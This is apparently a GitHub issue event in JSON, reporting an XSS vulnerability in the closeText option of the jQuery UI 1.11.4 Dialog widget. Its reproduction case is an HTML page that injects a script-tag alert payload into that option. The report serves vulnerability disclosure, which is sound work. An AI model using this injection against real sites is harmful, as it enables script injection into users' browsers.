{"action":"opened","issue":{"url":"https://api.github.com/repos/jquery/api.jqueryui.com/issues/281","labels_url":"https://api.github.com/repos/jquery/api.jqueryui.com/issues/281/labels{/name}","comments_url":"https://api.github.com/repos/jquery/api.jqueryui.com/issues/281/comments","events_url":"https://api.github.com/repos/jquery/api.jqueryui.com/issues/281/events","html_url":"https://github.com/jquery/api.jqueryui.com/issues/281","id":112146551,"number":281,"title":"XSS Vulnerability on closeText option of Dialog jQuery UI","user":{"login":"phatly27","id":7326365,"avatar_url":"https://avatars.githubusercontent.com/u/7326365?v=3","gravatar_id":"","url":"https://api.github.com/users/phatly27","html_url":"https://github.com/phatly27","followers_url":"https://api.github.com/users/phatly27/followers","following_url":"https://api.github.com/users/phatly27/following{/other_user}","gists_url":"https://api.github.com/users/phatly27/gists{/gist_id}","starred_url":"https://api.github.com/users/phatly27/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phatly27/subscriptions","organizations_url":"https://api.github.com/users/phatly27/orgs","repos_url":"https://api.github.com/users/phatly27/repos","events_url":"https://api.github.com/users/phatly27/events{/privacy}","received_events_url":"https://api.github.com/users/phatly27/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-10-19T13:40:23Z","updated_at":"2015-10-19T13:40:23Z","closed_at":null,"body":"I couldn't submit the bug to the website http://bugs.jqueryui.com/newticket.\r\n## VULNERABILITY DETAILS\r\nA potential bug enables us to inject the XSS content into closeText option using component ui dialog. As original of jQuery UI(https://api.jqueryui.com/dialog/#option-closeText), we shall not accept any HTML string inside it.\r\n\r\n##VERSION\r\nAny site using the latest version jQuery UI 1.11.4 .\r\n\r\n## REPRODUCTION CASE\r\n* Create a new HTML page.\r\n* Inject this content into new page.\r\n\r\n```html\r\n<!DOCTYPE html>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n    <title>XSS in closeText option of component ui dialog</title>\r\n    \r\n    <script src=\"https://code.jquery.com/jquery-2.1.4.js\"></script>\r\n    <script src=\"https://code.jquery.com/ui/1.11.4/jquery-ui.js\"></script>\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"http://code.jquery.com/ui/1.9.1/themes/base/\r\njquery-ui.css\">\r\n    <script>\r\n        $(document).ready(function () {\r\n\t\t\t$('#dialog').dialog({ closeText: '<script>alert(\"XSS\")<\\/script>' });\r\n        });\r\n    </script>\r\n</head>\r\n<body>\r\n    <div id=\"dialog\" title=\"Dialog Title\">Content here!</div>\r\n</body>\r\n</html>\r\n```\r\n* A alert popup was shown.\r\n* Completed.\r\n\r\n## IN CONCLUSION\r\nWe expect that the html string isn't allowed in the closeText option as well as the popup alert not shown. If it displays, any attacker can take advantage of injecting the malicious XSS content into website.\r\n\r\nPlease see details at here  http://jsfiddle.net/0wjdtcc6/"}}